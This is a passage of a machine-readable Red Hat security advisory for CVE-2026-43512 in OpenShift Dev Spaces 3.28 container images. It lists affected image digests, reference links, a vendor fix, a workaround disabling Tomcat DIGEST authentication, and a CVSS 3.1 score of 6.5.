"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-43512"
},
{
"category": "external",
"summary": "RHBZ#2476511",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2476511"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-43512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43512"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-43512",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43512"
},
{
"category": "external",
"summary": "https://lists.apache.org/thread/7x09x7o12solvclslw3sz0288xc8wx73",
"url": "https://lists.apache.org/thread/7x09x7o12solvclslw3sz0288xc8wx73"
}
],
"release_date": "2026-05-12T15:24:02.424000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T19:42:14+00:00",
"details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\nFor details on how to apply this update, refer to:\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"category": "workaround",
"details": "To mitigate this issue, disable DIGEST authentication within Apache Tomcat if it is not essential for your environment. This involves modifying the server\u0027s authentication configuration to utilize alternative methods or remove the DIGEST realm. A service restart is required for these changes to take effect and may impact functionality relying on DIGEST authentication.",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
